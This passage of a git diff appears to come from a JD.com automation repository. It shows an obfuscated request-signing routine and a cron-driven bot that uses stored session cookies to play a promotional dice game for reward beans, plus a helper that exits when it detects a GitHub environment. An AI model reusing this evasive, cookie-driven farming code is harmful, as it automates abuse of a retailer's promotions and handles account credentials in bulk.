_0x1226x3=_0x1226x9[_0x1226xb];_0x1226x2[__Oxb227b[0x18]](_0x1226x3)&& !_0x1226x2[__Oxb227b[0x18]](__Oxb227b[0x1e]+ _0x1226x3)&& (_0x1226x2= _0x1226x2[__Oxb227b[0x1f]](_0x1226x3,__Oxb227b[0x1e]+ _0x1226x3))};return _0x1226x2};var _0x1226x9=_0x1226x2,_0x1226xb=(_0x1226x9[__Oxb227b[0x20]],_0x1226x9[__Oxb227b[0x21]]);_0x1226xb+= (_0x1226xb[__Oxb227b[0x1d]](__Oxb227b[0x1c])> -1?__Oxb227b[0x19]:__Oxb227b[0x1c])+ __Oxb227b[0x22];var _0x1226x17=function _0x1226x18(_0x1226x2){var _0x1226x9=_0x1226x2[__Oxb227b[0x21]],_0x1226xb=_0x1226x2[__Oxb227b[0x24]],_0x1226x3=void(0)=== _0x1226xb?__Oxb227b[0x25]:_0x1226xb,_0x1226x4=_0x1226x2[__Oxb227b[0x26]],_0x1226x6=_0x1226x2[__Oxb227b[0x20]],_0x1226x19=void(0)=== _0x1226x6?{}:_0x1226x6,_0x1226x1a=_0x1226x3[__Oxb227b[0x27]](),_0x1226x1b=_0x1226x7[__Oxb227b[0x28]],_0x1226x1c=_0x1226x19[__Oxb227b[0x29]]|| _0x1226x19[__Oxb227b[0x2a]]|| __Oxb227b[0x2b],_0x1226x1d=__Oxb227b[0x2b],_0x1226x1e=+ new Date();return _0x1226x1d= __Oxb227b[0x2c]!== _0x1226x1a&& (__Oxb227b[0x2d]!== _0x1226x1a|| __Oxb227b[0x2e]!== _0x1226x1c[__Oxb227b[0x27]]()&& _0x1226x4&& Object[__Oxb227b[0x15]](_0x1226x4)[__Oxb227b[0x12]])?_0x1226x7.Md5encode(_0x1226x7.Base64Encode(_0x1226x7.AesEncrypt(__Oxb227b[0x2b]+ JSON[__Oxb227b[0xf]](_0x1226xf(_0x1226x4))))+ __Oxb227b[0x2f]+ _0x1226x1b+ __Oxb227b[0x2f]+ _0x1226x1e):_0x1226x7.Md5encode(__Oxb227b[0x2f]+ _0x1226x1b+ __Oxb227b[0x2f]+ _0x1226x1e),_0x1226x11(_0x1226x9)&& (_0x1226x9= _0x1226x13(_0x1226x9,{"\x6C\x6B\x73":_0x1226x1d,"\x6C\x6B\x74":_0x1226x1e}),_0x1226x9= _0x1226x15(_0x1226x9)),Object[__Oxb227b[0x23]](_0x1226x2,{"\x75\x72\x6C":_0x1226x9})}(_0x1226x2= Object[__Oxb227b[0x23]](_0x1226x2,{"\x75\x72\x6C":_0x1226xb}));return _0x1226x17}(function(_0x1226x1f,_0x1226xf,_0x1226x20,_0x1226x21,_0x1226x1c,_0x1226x22){_0x1226x22= __Oxb227b[0x30];_0x1226x21= function(_0x1226x19){if( typeof alert!== _0x1226x22){alert(_0x1226x19)};if( typeof console!== _0x1226x22){console[__Oxb227b[0x31]](_0x1226x19)}};_0x1226x20= function(_0x1226x3,_0x1226x1f){return _0x1226x3+ _0x1226x1f};_0x1226x1c= _0x1226x20(__Oxb227b[0x32],_0x1226x20(_0x1226x20(__Oxb227b[0x33],__Oxb227b[0x34]),__Oxb227b[0x35]));try{_0x1226x1f= __encode;if(!( typeof _0x1226x1f!== _0x1226x22&& _0x1226x1f=== _0x1226x20(__Oxb227b[0x36],__Oxb227b[0x37]))){_0x1226x21(_0x1226x1c)}}catch(e){_0x1226x21(_0x1226x1c)}})({}) +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_jump.js b/jd_jump.js new file mode 100644 index 0000000..99d69e1 --- /dev/null +++ b/jd_jump.js @@ -0,0 +1,493 @@ +/* +跳跳乐瓜分京豆脚本 +更新时间:2021-05-21 +活动入口:来客有礼(微信小程序)=>跳跳乐或京东APP=》首页=》母婴馆=》底部中间 +注:脚本好像还是会加商品到购物车,慎使用 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +================QuantumultX================== +[task_local] +#跳跳乐瓜分京豆 +1 0,11,21 * * * jd_jump.js, tag=跳跳乐瓜分京豆, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +===================Loon============== +[Script] +cron "1 0,11,21 * * *" script-path=jd_jump.js, tag=跳跳乐瓜分京豆 +===============Surge=============== +[Script] +跳跳乐瓜分京豆 = type=cron,cronexp="1 0,11,21 * * *",wake-system=1,timeout=3600,script-path=jd_jump.js +====================================小火箭============================= +跳跳乐瓜分京豆 = type=cron,script-path=jd_jump.js, cronexpr="1 0,11,21 * * *", timeout=3600, enable=true +*/ +const $ = new Env('跳跳乐瓜分京豆'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +// $.helpCodeList = []; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + console.log(`注:脚本好像还是会加商品到购物车,慎使用。\n`); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = $.UserName; + await TotalBean(); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jump() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jump() { + $.nowTime = new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000; + $.jumpList = []; + await getGameList(); + if ($.jumpList.length === 0) { + console.log(`获取活动列表失败,请等待下一期活动\n`); + return; + } + await $.wait(1000); + for (let i = 0; i < $.jumpList.length; i++) { + $.jumpId = $.jumpList[i].id; + $.oneJumpInfo = {}; + $.rewardList = []; + let oldReward = 0; + let newReward = 0; + await getOneJumpInfo(); + if (JSON.stringify($.oneJumpInfo) === '{}') { + console.log(`获取ID为${$.jumpId}的活动详情失败`); + continue; + } + $.jumpName = $.oneJumpInfo.jumpActivityDetail.name; + if ($.oneJumpInfo.userInfo.userState === 'received') { + console.log(`${$.jumpName},活动已结束,已参与瓜分`); + console.log(`\n`); + continue; + } else if ($.oneJumpInfo.userInfo.userState === 'unreceive') { + $.shareBean = 0; + //瓜分 + console.log(`${$.jumpName},瓜分京豆`); + await receive(); + await $.wait(2000); + await rewards(); + console.log(`瓜分获得${$.shareBean}京豆\n`); + continue; + } else if ($.nowTime > $.oneJumpInfo.jumpActivityDetail.endTime) { + console.log(`${$.jumpName},活动已结束`); + console.log(`\n`); + continue; + } else if ($.oneJumpInfo.userInfo.userState === 'complete') { + console.log(`${$.jumpName},已到达终点,等待瓜分,瓜分时间:${new Date($.oneJumpInfo.jumpActivityDetail.endTime)} 之后`); + console.log(`\n`); + break; + } else if ($.oneJumpInfo.userInfo.userState === 'playing') { + console.log(`开始执行活动:${$.jumpName},活动时间:${new Date($.oneJumpInfo.jumpActivityDetail.startTime).toLocaleString()}至${new Date($.oneJumpInfo.jumpActivityDetail.endTime).toLocaleString()}`); + } else {//complete + console.log(`异常`); + continue; + } + await $.wait(1000); + await getBeanRewards(); + oldReward = await getReward(); + console.log(`已获得京豆:${oldReward}`); + await $.wait(1000); + $.taskList = []; + await getTaskList(); + await $.wait(1000); + await doTask(); + if ($.oneJumpInfo.userInfo.gridTaskDone === false) { + await domission(); + } + await $.wait(1000); + await getOneJumpInfo(); + let flag = true; + if ($.oneJumpInfo.userInfo.diceLeft === 0) { + console.log(`骰子数量为0`); + } + let runTime = 0; + while ($.oneJumpInfo.userInfo.diceLeft > 0 && flag && runTime < 10) { + //丢骰子 + await throwDice(); + if ($.gridType && ($.gridType === 'boom' || $.gridType === 'road_block' || $.gridType === 'join_member' || $.gridType === 'add_cart')) break; + await $.wait(3000); + switch ($.gridType) { + case 'give_dice': + case 'empty': + case 'lose_dice': + case 'cart_bean': + case 'arrow': + //不用处理 + break; + case 'go_back': + case 'go_ahead': + await throwDice(); + await $.wait(2000); + await getOneJumpInfo(); + if ($.oneJumpInfo.userInfo.gridTaskDone === false) { + await domission(); + } + break; + case 'follow_channel': + case 'scan_good': + case 'add_cart': + case 'join_member': + case 'boom': + case 'road_block': + case 'follow_shop': + await domission(); + break; + case 'destination': + flag = false; + console.log('到达终点'); + break; + default: + flag = false; + console.log('未判断情况'); + } + await $.wait(2000); + await getOneJumpInfo(); + runTime++; + } + newReward = await getReward(); + console.log(`执行结束,本次执行获得${newReward - oldReward}京豆,共获得${newReward}京豆`); + console.log(`\n`); + await $.wait(2000); + } +} + +async function rewards() { + const myRequest = getGetRequest('rewards', `activityId=${$.jumpId}`); + return new Promise(async resolve => { + $.get(myRequest, (err, resp, data) => { + try { + //console.log(data); + if (data) { + data = JSON.parse(data); + if (data.success === true) { + let rewardList = data.datas; + for (let i = 0; i < rewardList.length; i++) { + if (rewardList[i].activityId === $.jumpId) { + $.shareBean = rewardList[i].shareBean; + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function getReward() { + await getBeanRewards(); + let reward = 0; + for (let j = 0; j < $.rewardList.length; j++) { + reward += Number($.rewardList[j].value); + } + return reward; +} + +//做任务 +async function domission() { + console.log('执行骰子任务'); + const myRequest = getGetRequest('doTask', `activityId=${$.jumpId}`); + return new Promise(async resolve => { + $.get(myRequest, (err, resp, data) => { + try { + + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function throwDice() { + console.log('丢骰子'); + const myRequest = getGetRequest('throwDice', `activityId=${$.jumpId}&fp=&eid=`); + return new Promise(async resolve => { + $.get(myRequest, (err, resp, data) => { + try { + //console.log(data); + if (data) { + data = JSON.parse(data); + $.gridType = data.data.gridInfo && data.data.gridInfo.gridType; + console.log(`丢骰子结果:${$.gridType}`); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve($.gridType); + } + }) + }) +} + +async function getBeanRewards() { + const myRequest = getGetRequest('getBeanRewards', `activityId=${$.jumpId}`); + return new Promise(async resolve => { + $.get(myRequest, (err, resp, data) => { + try { + if (data) { + data = JSON.parse(data); + $.rewardList = data.datas; + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +//做任务 +async function doTask() { + let addFlag = true; + for (let i = 0; i < $.taskList.length; i++) { + let oneTask = $.taskList[i]; + if (oneTask.state === 'finished') { + console.log(`${oneTask.content},已完成`); + continue; + } + if (oneTask.gridTask === 'add_cart' && oneTask.state === 'unfinish' && addFlag) { + if (oneTask.gridTask === 'add_cart') { + console.log(`不做:【${oneTask.content}】 任务`) + continue + } + console.log(`开始执行任务:${oneTask.content}`); + let skuList = []; + for (let j = 0; j < oneTask.goodsInfo.length; j++) { + skuList.push(oneTask.goodsInfo[j].sku); + } + skuList.sort(sortNumber); + await addCart(skuList); + addFlag = false; + } + } +} + +async function addCart(skuList) { + let body = `{"activityId":"${$.jumpId}","skuList":${JSON.stringify(skuList)}}`; + const myRequest = getPostRequest('addCart', body); + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + if (data) { + data = JSON.parse(data); + if (data.success === true) { + console.log(`任务执行成功`); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +//获取任务列表 +async function getTaskList() { + const myRequest = getGetRequest('getTools', `activityId=${$.jumpId}&reqSource=h5`); + return new Promise(async resolve => { + $.get(myRequest, (err, resp, data) => { + try { + if (data) { + data = JSON.parse(data); + if (data.success === true) { + $.taskList = data.datas; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function receive() { + const myRequest = getGetRequest('receive', `activityId=${$.jumpId}`); + return new Promise(async resolve => { + $.get(myRequest, (err, resp, data) => { + try { + if (data) { + data = JSON.parse(data); + if (data.success === true) { + console.log(`瓜分成功`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +//获取活动信息 +async function getOneJumpInfo() { + const myRequest = getGetRequest('getHomeInfo', `activityId=${$.jumpId}`); + return new Promise(async resolve => { + $.get(myRequest, (err, resp, data) => { + try { + if (data) { + data = JSON.parse(data); + if (data.success === true) { + $.oneJumpInfo = data.data; + //console.log(JSON.stringify($.oneJumpInfo)) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +//获取活动列表 +async function getGameList() { + const myRequest = getGetRequest('getGameList', 'pageSize=8&pageNum=1'); + return new Promise(async resolve => { + $.get(myRequest, (err, resp, data) => { + try { + if (data) { + data = JSON.parse(data); + if (data.success === true) { + $.jumpList = data.datas; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + +function getGetRequest(type, body) { + const url = `https://jdjoy.jd.com/jump/${type}?${body}`; + const method = `GET`; + const headers = { + 'Cookie': cookie, + 'Accept': `*/*`, + 'Connection': `keep-alive`, + 'Referer': `https://jdjoy.jd.com/dist/taro/index.html/`, + 'Accept-Encoding': `gzip, deflate, br`, + 'Host': `jdjoy.jd.com`, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': `zh-cn` + }; + return {url: url, method: method, headers: headers}; +} + +function getPostRequest(type, body) { + const url = `https://jdjoy.jd.com/jump/${type}`; + const method = `POST`; + const headers = { + 'Accept': `*/*`, + 'Origin': `https://jdjoy.jd.com`, + 'Accept-Encoding': `gzip, deflate, br`, + 'Cookie': cookie, + 'Content-Type': `application/json`, + 'Host': `jdjoy.jd.com`, + 'Connection': `keep-alive`, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': `https://jdjoy.jd.com/dist/taro/index.html/`, + 'Accept-Language': `zh-cn` + }; + return myRequest = {url: url, method: method, headers: headers, body: body}; +} + +function sortNumber(a, b) { + return a - b +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete 